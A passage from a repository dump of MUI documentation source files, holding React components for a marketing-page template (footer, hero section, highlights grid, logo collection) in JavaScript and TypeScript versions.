    aria-label=\"Enter your email address\"\n                placeholder=\"Your email address\"\n                slotProps={{\n                  htmlInput: {\n                    autoComplete: 'off',\n                    'aria-label': 'Enter your email address',\n                  },\n                }}\n                sx={{ width: '250px' }}\n              />\n              <Button\n                variant=\"contained\"\n                color=\"primary\"\n                size=\"small\"\n                sx={{ flexShrink: 0 }}\n              >\n                Subscribe\n              </Button>\n            </Stack>\n          </Box>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Product\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Features\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Testimonials\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Highlights\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Pricing\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            FAQs\n          </Link>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Company\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            About us\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Careers\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Press\n          </Link>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Legal\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Terms\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Privacy\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Contact\n          </Link>\n        </Box>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          pt: { xs: 4, sm: 8 },\n          width: '100%',\n          borderTop: '1px solid',\n          borderColor: 'divider',\n        }}\n      >\n        <div>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Privacy Policy\n          </Link>\n          <Typography sx={{ display: 'inline', mx: 0.5, opacity: 0.5 }}>\n            &nbsp;•&nbsp;\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Terms of Service\n          </Link>\n          <Copyright />\n        </div>\n        <Stack\n          direction=\"row\"\n          spacing={1}\n          useFlexGap\n          sx={{ justifyContent: 'left', color: 'text.secondary' }}\n        >\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://github.com/mui\"\n            aria-label=\"GitHub\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <GitHubIcon />\n          </IconButton>\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://x.com/MaterialUI\"\n            aria-label=\"X\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <TwitterIcon />\n          </IconButton>\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://www.linkedin.com/company/mui/\"\n            aria-label=\"LinkedIn\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <LinkedInIcon />\n          </IconButton>\n        </Stack>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Footer.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport IconButton from '@mui/material/IconButton';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport TwitterIcon from '@mui/icons-material/X';\nimport SitemarkIcon from './SitemarkIcon';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 1 }}>\n      {'Copyright © '}\n      <Link\n        href=\"https://mui.com/\"\n        sx={{\n          color: 'text.secondary',\n        }}\n      >\n        Sitemark\n      </Link>\n      {new Date().getFullYear()}\n    </Typography>\n  );\n}\n\nexport default function Footer() {\n  return (\n    <Container\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 4, sm: 8 },\n        py: { xs: 8, sm: 10 },\n        textAlign: { sm: 'center', md: 'left' },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', sm: 'row' },\n          width: '100%',\n          justifyContent: 'space-between',\n        }}\n      >\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            gap: 4,\n            minWidth: { xs: '100%', sm: '60%' },\n          }}\n        >\n          <Box sx={{ width: { xs: '100%', sm: '60%' } }}>\n            <SitemarkIcon />\n            <Typography variant=\"body2\" gutterBottom sx={{ fontWeight: 600, mt: 2 }}>\n              Join the newsletter\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n              Subscribe for weekly updates. No spams ever!\n            </Typography>\n            <InputLabel htmlFor=\"email-newsletter\">Email</InputLabel>\n            <Stack direction=\"row\" spacing={1} useFlexGap>\n              <TextField\n                id=\"email-newsletter\"\n                hiddenLabel\n                size=\"small\"\n                variant=\"outlined\"\n                fullWidth\n                aria-label=\"Enter your email address\"\n                placeholder=\"Your email address\"\n                slotProps={{\n                  htmlInput: {\n                    autoComplete: 'off',\n                    'aria-label': 'Enter your email address',\n                  },\n                }}\n                sx={{ width: '250px' }}\n              />\n              <Button\n                variant=\"contained\"\n                color=\"primary\"\n                size=\"small\"\n                sx={{ flexShrink: 0 }}\n              >\n                Subscribe\n              </Button>\n            </Stack>\n          </Box>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Product\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Features\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Testimonials\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Highlights\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Pricing\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            FAQs\n          </Link>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Company\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            About us\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Careers\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Press\n          </Link>\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n            Legal\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Terms\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Privacy\n          </Link>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Contact\n          </Link>\n        </Box>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          pt: { xs: 4, sm: 8 },\n          width: '100%',\n          borderTop: '1px solid',\n          borderColor: 'divider',\n        }}\n      >\n        <div>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Privacy Policy\n          </Link>\n          <Typography sx={{ display: 'inline', mx: 0.5, opacity: 0.5 }}>\n            &nbsp;•&nbsp;\n          </Typography>\n          <Link\n            variant=\"body2\"\n            href=\"#\"\n            sx={{\n              color: 'text.secondary',\n            }}\n          >\n            Terms of Service\n          </Link>\n          <Copyright />\n        </div>\n        <Stack\n          direction=\"row\"\n          spacing={1}\n          useFlexGap\n          sx={{ justifyContent: 'left', color: 'text.secondary' }}\n        >\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://github.com/mui\"\n            aria-label=\"GitHub\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <GitHubIcon />\n          </IconButton>\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://x.com/MaterialUI\"\n            aria-label=\"X\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <TwitterIcon />\n          </IconButton>\n          <IconButton\n            color=\"inherit\"\n            size=\"small\"\n            href=\"https://www.linkedin.com/company/mui/\"\n            aria-label=\"LinkedIn\"\n            sx={{ alignSelf: 'center' }}\n          >\n            <LinkedInIcon />\n          </IconButton>\n        </Stack>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Hero.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport visuallyHidden from '@mui/utils/visuallyHidden';\nimport { styled } from '@mui/material/styles';\n\nconst StyledBox = styled('div')(({ theme }) => ({\n  alignSelf: 'center',\n  width: '100%',\n  height: 400,\n  marginTop: theme.spacing(8),\n  borderRadius: (theme.vars || theme).shape.borderRadius,\n  outline: '6px solid',\n  outlineColor: 'hsla(220, 25%, 80%, 0.2)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.grey[200],\n  boxShadow: '0 0 12px 8px hsla(220, 25%, 80%, 0.2)',\n  backgroundImage: `url(${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/screenshots/material-ui/getting-started/templates/dashboard.jpg)`,\n  backgroundSize: 'cover',\n  [theme.breakpoints.up('sm')]: {\n    marginTop: theme.spacing(10),\n    height: 700,\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 24px 12px hsla(210, 100%, 25%, 0.2)',\n    backgroundImage: `url(${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/screenshots/material-ui/getting-started/templates/dashboard-dark.jpg)`,\n    outlineColor: 'hsla(220, 20%, 42%, 0.1)',\n    borderColor: (theme.vars || theme).palette.grey[700],\n  }),\n}));\n\nexport default function Hero() {\n  return (\n    <Box\n      id=\"hero\"\n      sx={(theme) => ({\n        width: '100%',\n        backgroundRepeat: 'no-repeat',\n        backgroundImage:\n          'radial-gradient(ellipse 80% 50% at 50% -20%, hsl(210, 100%, 90%), transparent)',\n        ...theme.applyStyles('dark', {\n          backgroundImage:\n            'radial-gradient(ellipse 80% 50% at 50% -20%, hsl(210, 100%, 16%), transparent)',\n        }),\n      })}\n    >\n      <Container\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          pt: { xs: 14, sm: 20 },\n          pb: { xs: 8, sm: 12 },\n        }}\n      >\n        <Stack\n          spacing={2}\n          useFlexGap\n          sx={{ alignItems: 'center', width: { xs: '100%', sm: '70%' } }}\n        >\n          <Typography\n            variant=\"h1\"\n            sx={{\n              display: 'flex',\n              flexDirection: { xs: 'column', sm: 'row' },\n              alignItems: 'center',\n              fontSize: 'clamp(3rem, 10vw, 3.5rem)',\n            }}\n          >\n            Our&nbsp;latest&nbsp;\n            <Typography\n              component=\"span\"\n              variant=\"h1\"\n              sx={(theme) => ({\n                fontSize: 'inherit',\n                color: 'primary.main',\n                ...theme.applyStyles('dark', {\n                  color: 'primary.light',\n                }),\n              })}\n            >\n              products\n            </Typography>\n          </Typography>\n          <Typography\n            sx={{\n              textAlign: 'center',\n              color: 'text.secondary',\n              width: { sm: '100%', md: '80%' },\n            }}\n          >\n            Explore our cutting-edge dashboard, delivering high-quality solutions\n            tailored to your needs. Elevate your experience with top-tier features\n            and services.\n          </Typography>\n          <Stack\n            direction={{ xs: 'column', sm: 'row' }}\n            spacing={1}\n            useFlexGap\n            sx={{ pt: 2, width: { xs: '100%', sm: '350px' } }}\n          >\n            <InputLabel htmlFor=\"email-hero\" sx={visuallyHidden}>\n              Email\n            </InputLabel>\n            <TextField\n              id=\"email-hero\"\n              hiddenLabel\n              size=\"small\"\n              variant=\"outlined\"\n              aria-label=\"Enter your email address\"\n              placeholder=\"Your email address\"\n              fullWidth\n              slotProps={{\n                htmlInput: {\n                  autoComplete: 'off',\n                  'aria-label': 'Enter your email address',\n                },\n              }}\n            />\n            <Button\n              variant=\"contained\"\n              color=\"primary\"\n              size=\"small\"\n              sx={{ minWidth: 'fit-content' }}\n            >\n              Start now\n            </Button>\n          </Stack>\n          <Typography\n            variant=\"caption\"\n            sx={{ color: 'text.secondary', textAlign: 'center' }}\n          >\n            By clicking &quot;Start now&quot; you agree to our&nbsp;\n            <Link href=\"#\" color=\"primary\">\n              Terms & Conditions\n            </Link>\n            .\n          </Typography>\n        </Stack>\n        <StyledBox id=\"image\" />\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Hero.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport visuallyHidden from '@mui/utils/visuallyHidden';\nimport { styled } from '@mui/material/styles';\n\nconst StyledBox = styled('div')(({ theme }) => ({\n  alignSelf: 'center',\n  width: '100%',\n  height: 400,\n  marginTop: theme.spacing(8),\n  borderRadius: (theme.vars || theme).shape.borderRadius,\n  outline: '6px solid',\n  outlineColor: 'hsla(220, 25%, 80%, 0.2)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.grey[200],\n  boxShadow: '0 0 12px 8px hsla(220, 25%, 80%, 0.2)',\n  backgroundImage: `url(${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/screenshots/material-ui/getting-started/templates/dashboard.jpg)`,\n  backgroundSize: 'cover',\n  [theme.breakpoints.up('sm')]: {\n    marginTop: theme.spacing(10),\n    height: 700,\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 24px 12px hsla(210, 100%, 25%, 0.2)',\n    backgroundImage: `url(${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/screenshots/material-ui/getting-started/templates/dashboard-dark.jpg)`,\n    outlineColor: 'hsla(220, 20%, 42%, 0.1)',\n    borderColor: (theme.vars || theme).palette.grey[700],\n  }),\n}));\n\nexport default function Hero() {\n  return (\n    <Box\n      id=\"hero\"\n      sx={(theme) => ({\n        width: '100%',\n        backgroundRepeat: 'no-repeat',\n\n        backgroundImage:\n          'radial-gradient(ellipse 80% 50% at 50% -20%, hsl(210, 100%, 90%), transparent)',\n        ...theme.applyStyles('dark', {\n          backgroundImage:\n            'radial-gradient(ellipse 80% 50% at 50% -20%, hsl(210, 100%, 16%), transparent)',\n        }),\n      })}\n    >\n      <Container\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          pt: { xs: 14, sm: 20 },\n          pb: { xs: 8, sm: 12 },\n        }}\n      >\n        <Stack\n          spacing={2}\n          useFlexGap\n          sx={{ alignItems: 'center', width: { xs: '100%', sm: '70%' } }}\n        >\n          <Typography\n            variant=\"h1\"\n            sx={{\n              display: 'flex',\n              flexDirection: { xs: 'column', sm: 'row' },\n              alignItems: 'center',\n              fontSize: 'clamp(3rem, 10vw, 3.5rem)',\n            }}\n          >\n            Our&nbsp;latest&nbsp;\n            <Typography\n              component=\"span\"\n              variant=\"h1\"\n              sx={(theme) => ({\n                fontSize: 'inherit',\n                color: 'primary.main',\n                ...theme.applyStyles('dark', {\n                  color: 'primary.light',\n                }),\n              })}\n            >\n              products\n            </Typography>\n          </Typography>\n          <Typography\n            sx={{\n              textAlign: 'center',\n              color: 'text.secondary',\n              width: { sm: '100%', md: '80%' },\n            }}\n          >\n            Explore our cutting-edge dashboard, delivering high-quality solutions\n            tailored to your needs. Elevate your experience with top-tier features\n            and services.\n          </Typography>\n          <Stack\n            direction={{ xs: 'column', sm: 'row' }}\n            spacing={1}\n            useFlexGap\n            sx={{ pt: 2, width: { xs: '100%', sm: '350px' } }}\n          >\n            <InputLabel htmlFor=\"email-hero\" sx={visuallyHidden}>\n              Email\n            </InputLabel>\n            <TextField\n              id=\"email-hero\"\n              hiddenLabel\n              size=\"small\"\n              variant=\"outlined\"\n              aria-label=\"Enter your email address\"\n              placeholder=\"Your email address\"\n              fullWidth\n              slotProps={{\n                htmlInput: {\n                  autoComplete: 'off',\n                  'aria-label': 'Enter your email address',\n                },\n              }}\n            />\n            <Button\n              variant=\"contained\"\n              color=\"primary\"\n              size=\"small\"\n              sx={{ minWidth: 'fit-content' }}\n            >\n              Start now\n            </Button>\n          </Stack>\n          <Typography\n            variant=\"caption\"\n            sx={{ color: 'text.secondary', textAlign: 'center' }}\n          >\n            By clicking &quot;Start now&quot; you agree to our&nbsp;\n            <Link href=\"#\" color=\"primary\">\n              Terms & Conditions\n            </Link>\n            .\n          </Typography>\n        </Stack>\n        <StyledBox id=\"image\" />\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Highlights.js",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport Container from '@mui/material/Container';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport AutoFixHighRoundedIcon from '@mui/icons-material/AutoFixHighRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\nimport QueryStatsRoundedIcon from '@mui/icons-material/QueryStatsRounded';\nimport SettingsSuggestRoundedIcon from '@mui/icons-material/SettingsSuggestRounded';\nimport SupportAgentRoundedIcon from '@mui/icons-material/SupportAgentRounded';\nimport ThumbUpAltRoundedIcon from '@mui/icons-material/ThumbUpAltRounded';\n\nconst items = [\n  {\n    icon: <SettingsSuggestRoundedIcon />,\n    title: 'Adaptable performance',\n    description:\n      'Our product effortlessly adjusts to your needs, boosting efficiency and simplifying your tasks.',\n  },\n  {\n    icon: <ConstructionRoundedIcon />,\n    title: 'Built to last',\n    description:\n      'Experience unmatched durability that goes above and beyond with lasting investment.',\n  },\n  {\n    icon: <ThumbUpAltRoundedIcon />,\n    title: 'Great user experience',\n    description:\n      'Integrate our product into your routine with an intuitive and easy-to-use interface.',\n  },\n  {\n    icon: <AutoFixHighRoundedIcon />,\n    title: 'Innovative functionality',\n    description:\n      'Stay ahead with features that set new standards, addressing your evolving needs better than the rest.',\n  },\n  {\n    icon: <SupportAgentRoundedIcon />,\n    title: 'Reliable support',\n    description:\n      'Count on our responsive customer support, offering assistance that goes beyond the purchase.',\n  },\n  {\n    icon: <QueryStatsRoundedIcon />,\n    title: 'Precision in every detail',\n    description:\n      'Enjoy a meticulously crafted product where small touches make a significant impact on your overall experience.',\n  },\n];\n\nexport default function Highlights() {\n  return (\n    <Box\n      id=\"highlights\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        color: 'white',\n        bgcolor: 'grey.900',\n      }}\n    >\n      <Container\n        sx={{\n          position: 'relative',\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          gap: { xs: 3, sm: 6 },\n        }}\n      >\n        <Box\n          sx={{\n            width: { sm: '100%', md: '60%' },\n            textAlign: { sm: 'left', md: 'center' },\n          }}\n        >\n          <Typography component=\"h2\" variant=\"h4\" gutterBottom>\n            Highlights\n          </Typography>\n          <Typography variant=\"body1\" sx={{ color: 'grey.400' }}>\n            Explore why our product stands out: adaptability, durability,\n            user-friendly design, and innovation. Enjoy reliable customer support and\n            precision in every detail.\n          </Typography>\n        </Box>\n        <Grid container spacing={2}>\n          {items.map((item, index) => (\n            <Grid size={{ xs: 12, sm: 6, md: 4 }} key={index}>\n              <Stack\n                direction=\"column\"\n                component={Card}\n                spacing={1}\n                useFlexGap\n                sx={{\n                  color: 'inherit',\n                  p: 3,\n                  height: '100%',\n                  borderColor: 'hsla(220, 25%, 25%, 0.3)',\n                  backgroundColor: 'grey.800',\n                }}\n              >\n                <Box sx={{ opacity: '50%' }}>{item.icon}</Box>\n                <div>\n                  <Typography gutterBottom sx={{ fontWeight: 'medium' }}>\n                    {item.title}\n                  </Typography>\n                  <Typography variant=\"body2\" sx={{ color: 'grey.400' }}>\n                    {item.description}\n                  </Typography>\n                </div>\n              </Stack>\n            </Grid>\n          ))}\n        </Grid>\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Highlights.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport Container from '@mui/material/Container';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport AutoFixHighRoundedIcon from '@mui/icons-material/AutoFixHighRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\nimport QueryStatsRoundedIcon from '@mui/icons-material/QueryStatsRounded';\nimport SettingsSuggestRoundedIcon from '@mui/icons-material/SettingsSuggestRounded';\nimport SupportAgentRoundedIcon from '@mui/icons-material/SupportAgentRounded';\nimport ThumbUpAltRoundedIcon from '@mui/icons-material/ThumbUpAltRounded';\n\nconst items = [\n  {\n    icon: <SettingsSuggestRoundedIcon />,\n    title: 'Adaptable performance',\n    description:\n      'Our product effortlessly adjusts to your needs, boosting efficiency and simplifying your tasks.',\n  },\n  {\n    icon: <ConstructionRoundedIcon />,\n    title: 'Built to last',\n    description:\n      'Experience unmatched durability that goes above and beyond with lasting investment.',\n  },\n  {\n    icon: <ThumbUpAltRoundedIcon />,\n    title: 'Great user experience',\n    description:\n      'Integrate our product into your routine with an intuitive and easy-to-use interface.',\n  },\n  {\n    icon: <AutoFixHighRoundedIcon />,\n    title: 'Innovative functionality',\n    description:\n      'Stay ahead with features that set new standards, addressing your evolving needs better than the rest.',\n  },\n  {\n    icon: <SupportAgentRoundedIcon />,\n    title: 'Reliable support',\n    description:\n      'Count on our responsive customer support, offering assistance that goes beyond the purchase.',\n  },\n  {\n    icon: <QueryStatsRoundedIcon />,\n    title: 'Precision in every detail',\n    description:\n      'Enjoy a meticulously crafted product where small touches make a significant impact on your overall experience.',\n  },\n];\n\nexport default function Highlights() {\n  return (\n    <Box\n      id=\"highlights\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        color: 'white',\n        bgcolor: 'grey.900',\n      }}\n    >\n      <Container\n        sx={{\n          position: 'relative',\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          gap: { xs: 3, sm: 6 },\n        }}\n      >\n        <Box\n          sx={{\n            width: { sm: '100%', md: '60%' },\n            textAlign: { sm: 'left', md: 'center' },\n          }}\n        >\n          <Typography component=\"h2\" variant=\"h4\" gutterBottom>\n            Highlights\n          </Typography>\n          <Typography variant=\"body1\" sx={{ color: 'grey.400' }}>\n            Explore why our product stands out: adaptability, durability,\n            user-friendly design, and innovation. Enjoy reliable customer support and\n            precision in every detail.\n          </Typography>\n        </Box>\n        <Grid container spacing={2}>\n          {items.map((item, index) => (\n            <Grid size={{ xs: 12, sm: 6, md: 4 }} key={index}>\n              <Stack\n                direction=\"column\"\n                component={Card}\n                spacing={1}\n                useFlexGap\n                sx={{\n                  color: 'inherit',\n                  p: 3,\n                  height: '100%',\n                  borderColor: 'hsla(220, 25%, 25%, 0.3)',\n                  backgroundColor: 'grey.800',\n                }}\n              >\n                <Box sx={{ opacity: '50%' }}>{item.icon}</Box>\n                <div>\n                  <Typography gutterBottom sx={{ fontWeight: 'medium' }}>\n                    {item.title}\n                  </Typography>\n                  <Typography variant=\"body2\" sx={{ color: 'grey.400' }}>\n                    {item.description}\n                  </Typography>\n                </div>\n              </Stack>\n            </Grid>\n          ))}\n        </Grid>\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/LogoCollection.js",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport { useColorScheme } from '@mui/material/styles';\n\nconst darkModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628e8573c43893fe0ace_Sydney-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d520d0517ae8e8ddf13_Bern-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f46794c159024c1af6d44_Montreal-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e891fa22f89efd7477a_TerraLight.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a09d1f6337b1dfed14ab_colorado-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5caa77bf7d69fb78792e_Ankara-white.svg',\n];\n\nconst lightModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628889c3bdf1129952dc_Sydney-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d4d8b829a89976a419c_Bern-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f467502f091ccb929529d_Montreal-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e911fa22f2203d7514c_TerraDark.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a0990f3717787fd49245_colorado-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5ca4e548b0deb1041c33_Ankara-black.svg',\n];\n\nconst logoStyle = {\n  width: '100px',\n  height: '80px',\n  margin: '0 32px',\n  opacity: 0.7,\n};\n\nexport default function LogoCollection() {\n  const { mode, systemMode } = useColorScheme();\n  let logos;\n  if (mode === 'system') {\n    if (systemMode === 'light') {\n      logos = lightModeLogos;\n    } else {\n      logos = darkModeLogos;\n    }\n  } else if (mode === 'light') {\n    logos = lightModeLogos;\n  } else {\n    logos = darkModeLogos;\n  }\n\n  return (\n    <Box id=\"logoCollection\" sx={{ py: 4 }}>\n      <Typography\n        component=\"p\"\n        variant=\"subtitle2\"\n        align=\"center\"\n        sx={{ color: 'text.secondary' }}\n      >\n        Trusted by the best companies\n      </Typography>\n      <Grid container sx={{ justifyContent: 'center', mt: 0.5, opacity: 0.6 }}>\n        {logos.map((logo, index) => (\n          <Grid key={index}>\n            <img\n              src={logo}\n              alt={`Fake company number ${index + 1}`}\n              style={logoStyle}\n            />\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/LogoCollection.tsx",
